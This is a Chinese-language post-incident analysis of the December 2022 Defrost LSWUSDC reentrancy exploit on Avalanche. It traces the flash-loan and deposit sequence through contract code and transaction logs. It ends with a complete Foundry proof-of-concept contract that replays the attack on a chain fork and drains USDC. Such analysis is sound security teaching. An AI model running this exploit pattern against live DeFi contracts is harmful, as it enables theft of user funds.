Defrost项目攻击事件

  • ilove614
  • 更新于 2023-03-05 22:59
  • 阅读 1617

20221223-Defrost-Reentrancyhttps://twitter.com/PeckShieldAlert/status/1606276020276891650漏洞简介https://twitter.com/PeckShieldAlert/status/1606276

20221223 - Defrost - Reentrancy

https://twitter.com/PeckShieldAlert/status/1606276020276891650

漏洞简介

https://twitter.com/PeckShieldAlert/status/1606276020276891650

相关地址和交易

攻击者地址:

0x7373dca267bdc623dfba228696c9d4e8234469f6

攻击合约地址:

0x792e8f3727cad6e00c58d478798f0907c4cec340

被攻击合约地址(LSWUSDC):

0xff152e21c5a511c478ed23d1b89bb9391be6de96

trader joe wavax/usdc pair地址:

0xf4003f4efbe8691b60249e6afbd307abe7758adb

这个是trader joe v1的流动性交易对

获利分析

图像2023-3-5 18.04.jpeg

攻击过程&漏洞原因

首先使用LSWUSDCmaxFlashLoan函数查处最多可以提出usdc的数目:194263946118

调用LSWUSDCflashfee函数计算出flashloan 194263946118数目的token需要19426394数目的手续费

从攻击地址向攻击合约转入19426394数目的手续费

调用wavax/usdc交易对代码中的swap

function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external lock {}

function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external lock {
        require(
            amount0Out > 0 || amount1Out > 0,
            "Joe: INSUFFICIENT_OUTPUT_AMOUNT"
        );
        (uint112 _reserve0, uint112 _reserve1, ) = getReserves(); // gas savings    
        require(
            amount0Out < _reserve0 && amount1Out < _reserve1,
            "Joe: INSUFFICIENT_LIQUIDITY"
        );

        uint256 balance0;
        uint256 balance1;
        {
            // scope for _token{0,1}, avoids stack too deep errors
            address _token0 = token0;
            address _token1 = token1;
            require(to != _token0 && to != _token1, "Joe: INVALID_TO");
            // 转移amount0Out的_token0到to地址
            if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
            // 转移amount1Out的_token1到to地址
            if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
            // 交换函数的回调函数
            if (data.length > 0)
                IJoeCallee(to).joeCall(
                    msg.sender,
                    amount0Out,
                    amount1Out,
                    data
                );
            // 当前合约拥有的_token0数目
            balance0 = IERC20Joe(_token0).balanceOf(address(this));
            // 当前合约拥有的_token1数目
            balance1 = IERC20Joe(_token1).balanceOf(address(this));
        }
        // 计算出token0输入的数量
        uint256 amount0In = balance0 > _reserve0 - amount0Out
            ? balance0 - (_reserve0 - amount0Out)
            : 0;
        // 计算出token1输入的数量
        uint256 amount1In = balance1 > _reserve1 - amount1Out
            ? balance1 - (_reserve1 - amount1Out)
            : 0;
        require(
            amount0In > 0 || amount1In > 0,
            "Joe: INSUFFICIENT_INPUT_AMOUNT"
        );
        {
            // scope for reserve{0,1}Adjusted, avoids stack too deep errors
            uint256 balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3));
            uint256 balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3));
            require(
                balance0Adjusted.mul(balance1Adjusted) >=
                    uint256(_reserve0).mul(_reserve1).mul(1000**2),
                "Joe: K"
            );
        }

        _update(balance0, balance1, _reserve0, _reserve1);
        emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
    }
{
 "caller":"0xf4003f4efbe8691b60249e6afbd307abe7758adb",
 "inputs":
                [
            {
                        amount0Out:"0"
                    }   
            {
            amount1Out:"194,263,946,117"
            }
                    {
            to:"0x792e8f3727cad6e00c58d478798f0907c4cec340"
          }
                    {
            data:"0x6b696d696d696d69"
          }
        ],
    outputs:
  []
}

由代码可知msg.sender = JLP = 0xf4003f4efbe8691b60249e6afbd307abe7758adb交换数目194263946117USDC0x792e8f3727cad6e00c58d478798f0907c4cec340(攻击者合约地址)

再由回调函数

IJoeCallee(to).joeCall( msg.sender, amount0Out, amount1Out, data );

进入回调函数中

调用maxFlashLoan查看当前LSWUSDC194263946118USDC

LSWUSDC调用flashLoanLSWUSDC借出194263946117数量的USDC

{
  caller: "0x792e8f3727cad6e00c58d478798f0907c4cec340"
  inputs: [
    {
      receiver: "0x792e8f3727cad6e00c58d478798f0907c4cec340"
    }
    {
      token: "0xb97ef9ef8734c71904d8002f8b6bc66dd9c48a6e"
    }
    {
      amount: "194,263,946,117"
    }
    {
      data: "0x"
    }
  ]
  outputs: [
    {
      out0: true
    }
  ]
}

flashLoan函数,这里的baseSuperToken合约是abstract,所以onWithdraw函数等没有实现

function flashLoan(
        IERC3156FlashBorrower receiver,
        address token,
        uint256 amount,
        bytes calldata data
    ) external virtual returns (bool) {
            // asset = USDC
        require(token == address(asset),"flash borrow token Error!");
        uint256 fee = flashFee(token, amount);
        onWithdraw(address(receiver),amount);
        require(
            receiver.onFlashLoan(msg.sender, token, amount, fee, data) == _RETURN_VALUE,
            "invalid return value"
        );
        onDeposit(address(receiver),amount + fee,0);
        emit FlashLoan(msg.sender,address(receiver),token,amount);
        return true;
    }

具体实现superSwitchErc20.sol

function onWithdraw(address account,uint256 _amount)internal virtual override(superAaveTokenImpl,superQiErc20Impl,superTokenInterface) returns(uint256){
        if (lendingSwitch == 0){
            return superAaveTokenImpl.onWithdraw(account,_amount);
        }else{
            return superQiErc20Impl.onWithdraw(account,_amount);
        }
    }

superAaveTokenImpl.sol

function onWithdraw(address account,uint256 _amount)internal virtual override returns(uint256){
        uint256 amount = aavePool.withdraw(address(asset), _amount, address(this));
        asset.safeTransfer(account, amount);
        return amount;
    }

amount = 194263946117,再将USDC从被攻击地址发送到攻击合约地址,也就是攻击合约借出194263946117 USDC

接着receiver.onFlashLoan,这个也是回调接口

require(
            receiver.onFlashLoan(msg.sender, token, amount, fee, data) == _RETURN_VALUE,
            "invalid return value"
        );
interface IERC3156FlashBorrower {
    /**
     * @dev Receive a flash loan.
     * @param initiator The initiator of the loan.
     * @param token The loan currency.
     * @param amount The amount of tokens lent.
     * @param fee The additional amount of tokens to repay.
     * @param data Arbitrary data structure, intended to contain user-defined parameters.
     * @return The keccak256 hash of "IERC3156FlashBorrower.onFlashLoan"
     */
    function onFlashLoan(
        address initiator,
        address token,
        uint256 amount,
        uint256 fee,
        bytes calldata data
    ) external returns (bytes32);
}
{
  caller: "0xff152e21c5a511c478ed23d1b89bb9391be6de96"
  inputs: [
    {
      initiator: "0x792e8f3727cad6e00c58d478798f0907c4cec340"
    }
    {
      token: "0xb97ef9ef8734c71904d8002f8b6bc66dd9c48a6e"
    }
    {
      amount: "194,263,946,117"
    }
    {
      fee: "19,426,394"
    }
    {
      data: "0x"
    }
  ]
  outputs: [
    {
      out0: "0x439148f0bbc682ca079e46d6e2c2f0c1e3b820f1a291b069d8882abf8cf18dd9"
    }
  ]
}

在接口函数onFlashLoan

攻击合约授权给被攻击合约uint256.max数量的USDC

LSWUSDC将攻击合约贷出的194263946117数量的USDC deposit进去

给攻击合约地址mint一定数量的LendingwithUSDCoin

function deposit(uint256 _amount, address receiver) external returns (uint256){
    uint256 amount = _deposit(msg.sender,_amount,receiver);
    emit Deposit(msg.sender,receiver,_amount,amount);
    return amount;
}
function _deposit(address from,uint256 _amount, address receiver) internal returns (uint256){
        // Gets the amount of stakeToken locked in the contract
        // 得到总的质押token数量
        // aaveUSDC = 1
        uint256 totaStake = getTotalAssets();
        // Gets the amount of superToken in existence
        // 得到目前的superToken
        uint256 totalShares = totalSupply();
        // 算出_amount
        _amount = onDeposit(from,_amount,feeRate[enterFeeID]);
        // If no superToken exists, mint it 1:1 to the amount put in
        if (totalShares == 0 || totaStake == 0) {
            _mint(receiver, _amount);
            return _amount;
        }
        // Calculate and mint the amount of superToken the stakeToken is worth. The ratio will change overtime, as superToken is burned/minted and stakeToken deposited + gained from fees / withdrawn.
        else {
            uint256 what = _amount.mul(totalShares)/totaStake;
            require(what>0,"super token mint 0!");
            _mint(receiver, what);
            return what;
        }
}
function onDeposit(address account,uint256 _amount,uint64 _fee)internal virtual override(superAaveTokenImpl,superQiErc20Impl,superTokenInterface) returns(uint256){
        if (lendingSwitch == 0){
            return superAaveTokenImpl.onDeposit(account,_amount,_fee);
        }else{
            return superQiErc20Impl.onDeposit(account,_amount,_fee);
        }
    }
function onDeposit(address account,uint256 _amount,uint64 _fee)internal virtual override returns(uint256){
                // account = from = 0x792e8f3727cad6e00c58d478798f0907c4cec340
                // address(this) = 0xff152e21c5a511c478ed23d1b89bb9391be6de96
                // _amount = 194263946117
        asset.safeTransferFrom(account, address(this), _amount);
        return aaveSupply(_fee);
}

到这里onFlashLoan的回调函数运行结束,结果就是从LSWUSDC中借出194263946117USDC又被质押回去了,给了aave pool,现在的aavetoken = 0x625e7708f30ca75bfd92586e17077590c60eb4cd = aAvaUSDC = 194263946117

下面运行onDeposit函数,就是将借出的钱加上fee还回去

function flashLoan(
        IERC3156FlashBorrower receiver,
        address token,
        uint256 amount,
        bytes calldata data
    ) external virtual returns (bool) {
        ....
        onDeposit(address(receiver),amount + fee,0);
        emit FlashLoan(msg.sender,address(receiver),token,amount);
        return true;
    }
function onDeposit(address account,uint256 _amount,uint64 _fee)internal virtual override(superAaveTokenImpl,superQiErc20Impl,superTokenInterface) returns(uint256){
        if (lendingSwitch == 0){
            return superAaveTokenImpl.onDeposit(account,_amount,_fee);
        }else{
            return superQiErc20Impl.onDeposit(account,_amount,_fee);
        }
    }
function onDeposit(address account,uint256 _amount,uint64 _fee)internal virtual override returns(uint256){
        asset.safeTransferFrom(account, address(this), _amount);
        return aaveSupply(_fee);
    }

运行safeTransferFrom,结果:

{
  caller: "0xff152e21c5a511c478ed23d1b89bb9391be6de96"
  inputs: [
    {
      sender: "0x792e8f3727cad6e00c58d478798f0907c4cec340"
    }
    {
      recipient: "0xff152e21c5a511c478ed23d1b89bb9391be6de96"
    }
    {
      amount: "194,283,372,511"
    }
  ]
  outputs: [
    {
      out0: true
    }
  ]
}

LSWUSDC balance = 1844317410414

LSWUSDC调用redeem函数,最终获得368503793484数量的USDC,这里是因为前面回调函数deposit中转入了

194263946117数量的USDC,而闪电贷函数后面还钱的时候又转入了194283372511数量的USDC,所以就变多了,这样就是盗取的钱

function redeem(uint256 shares,address receiver,address owner) external returns (uint256) {
        uint256 _value = convertToAssets(shares);
        _withdraw(_value,shares,receiver,owner);
        emit Withdraw(msg.sender,receiver,_value,shares);
        return _value;
}
function _withdraw(uint256 _assetNum,uint256 _shareNum,address receiver,address owner) internal {
        require(msg.sender == owner,"owner must be msg.sender!");
        require(_shareNum>0,"super token burn 0!");
        _burn(msg.sender, _shareNum);
        _assetNum = onWithdraw(receiver, _assetNum);
}
function onWithdraw(address account,uint256 _amount)internal virtual override(superAaveTokenImpl,superQiErc20Impl,superTokenInterface) returns(uint256){
        if (lendingSwitch == 0){
            return superAaveTokenImpl.onWithdraw(account,_amount);
        }else{
            return superQiErc20Impl.onWithdraw(account,_amount);
        }
}
function onWithdraw(address account,uint256 _amount)internal virtual override returns(uint256){
        uint256 amount = aavePool.withdraw(address(asset), _amount, address(this));
        asset.safeTransfer(account, amount);
        return amount;
}

194866164349数量的USDC还给JLP

这样IJoeCallee的回调函数结束

漏洞原因

这里的flashLoan函数中,没有进行重入判断,在flashLoan里面可以进行deposit操作,这就需要两次转入,所以前面使用了trader joepair

POC

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./interface.sol";

// @Analysis
// https://twitter.com/PeckShieldAlert/status/1606276020276891650
// @TX
// https://snowtrace.io/tx/0xc6fb8217e45870a93c25e2098f54f6e3b24674a3083c30664867de474bf0212d

interface LSWUSDC{
    function maxFlashLoan(address token) external view returns(uint256);
    function flashFee(address token, uint256 amount) external view returns(uint256);
    function flashLoan(address receiver, address token, uint256 amount, bytes calldata data) external;
    function deposit(uint256 amount, address to) external returns(uint256);
    function redeem(uint256 shares, address receiver, address owner) external;
}

contract ContractTest is DSTest{
    IERC20 USDC = IERC20(0xB97EF9Ef8734C71904D8002F8b6Bc66Dd9c48a6E);
    LSWUSDC LSW = LSWUSDC(0xfF152e21C5A511c478ED23D1b89Bb9391bE6de96);
    Uni_Pair_V2 Pair = Uni_Pair_V2(0xf4003F4efBE8691B60249E6afbD307aBE7758adb);
    uint flashLoanAmount;
    uint flashLoanFee; 
    uint depositAmount;

    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("Avalanche", 24003940);
    }

    function testExploit() public{
        flashLoanAmount = LSW.maxFlashLoan(address(USDC));
        flashLoanFee = LSW.flashFee(address(USDC), flashLoanAmount);
        Pair.swap(0, flashLoanAmount + flashLoanFee, address(this), new bytes(1));

        emit log_named_decimal_uint(
            "[End] Attacker USDC balance after exploit",
            USDC.balanceOf(address(this)),
            6
        );
    }

    function joeCall(address _sender, uint256 _amount0, uint256 _amount1, bytes calldata _data) external{
        LSW.flashLoan(address(this), address(USDC), flashLoanAmount, new bytes(1));
        LSW.redeem(depositAmount, address(this), address(this));
        USDC.transfer(address(Pair), (flashLoanAmount + flashLoanFee)* 1000 / 997 + 1000);
    }

    function onFlashLoan(address initiator, address token, uint256 amount, uint256 fee, bytes calldata data) external returns(bytes32){
        USDC.approve(address(LSW), type(uint).max);
        depositAmount = LSW.deposit(flashLoanAmount, address(this));
        return keccak256("ERC3156FlashBorrower.onFlashLoan");
    }

}
  • 原创
  • 学分: 3
  • 分类: 安全
  • 标签:
点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
ilove614
ilove614
江湖只有他的大名,没有他的介绍。